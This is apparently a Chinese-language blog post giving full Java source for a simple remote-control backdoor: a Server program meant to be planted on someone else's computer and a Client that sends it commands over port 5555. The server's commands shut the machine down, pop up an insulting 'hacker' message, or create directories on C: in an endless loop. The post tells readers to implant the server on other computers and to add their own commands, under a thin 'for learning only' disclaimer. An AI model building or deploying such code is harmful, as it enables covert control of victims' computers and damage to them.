首先將Server.class放置你需要控制的電腦中,(一般是打包,然後將這伺服器代碼植入到另外的電腦中)。就用一台電腦也可以用,運行它。此時,被植入了Server.class的電腦就是你可以控制的對象,然後將Client.class在自己的電腦上運行,輸入 order, 被植入的電腦會做相對應的事情, 比如:我在Client裡輸入"shutdown" ,然後被植入的電腦會自動關機,所有order在代碼裡面有,有興趣的可以自己往裡面添加order已經對應的動作。下面是代碼,僅供大家學習, 害人之心不可有啊,即使世道蒼涼!
用戶端,即用來控制被植入了代碼的電腦的代碼 : Client.java
import java.io.DataOutputStream;<br />import java.io.IOException;<br />import java.io.OutputStream;<br />import java.net.Socket;<br />import java.net.UnknownHostException;<br />import java.util.Scanner;<br />public class Client {<br />public Client()<br />{<br />try {<br />while(true)<br />{<br />Socket ss = new Socket("127.0.0.1",5555); //這裡的IP是你 server 代碼所在的電腦IP<br />System.out.println("connection success!");<br />OutputStream out = ss.getOutputStream();<br />DataOutputStream dos = new DataOutputStream(out);<br />System.out.println("get InputStream success , input your Order:");<br />Scanner sc = new Scanner(System.in);<br />dos.writeUTF(sc.nextLine());<br />System.out.println("execute ok!");<br />}<br />} catch (UnknownHostException e) {<br />System.err.println("Unknow host!");<br />e.printStackTrace();<br />} catch (IOException e) {<br />System.err.println("socket exception!");<br />e.printStackTrace();<br />}<br />}<br />public static void main(String args[])<br />{<br />new Client();<br />}<br />}<br />
伺服器代碼,即你想控制哪台電腦,就把Server.java放到那台電腦中運行 Server.java
import java.io.DataInputStream;<br />import java.io.File;<br />import java.io.IOException;<br />import java.io.InputStream;<br />import java.net.ServerSocket;<br />import java.net.Socket;<br />import java.util.Date;<br />import javax.swing.*;<br />public class Server {</p><p>public Server() throws IOException<br />{<br />ServerSocket ss = new ServerSocket(5555);<br />System.out.println("Server start");<br />while(true)<br />{<br />Socket s = ss.accept();<br />InputStream is = s.getInputStream();<br />DataInputStream d = new DataInputStream(is);<br />String msg = d.readUTF();<br />if("shutdown".equals(msg))<br />{<br />Runtime.getRuntime().exec("shutdown -s");<br />}<br />else if("msg".equals(msg))<br />{<br />JOptionPane.showMessageDialog(null, "i'm hacker,and you are son of a gun!");<br />}<br />else if("Bulidefiles".equals(msg)) //慎用 ,檔案超多,我自己試了下,吃虧了。。<br />{<br />while(true)<br />{<br />File file = new File("c://"+new Date().getTime()+" hello");<br />file.mkdir();<br />}<br />}<br />else<br />{<br />//這裡你可以添加自己需要的口令已經動作。<br />}</p><p>}</p><p>}<br />public static void main(String str[])<br />{<br />try {<br />new Server();<br />} catch (IOException e) {<br />e.printStackTrace();<br />}<br />}<br />}<br />
這裡面只有3個order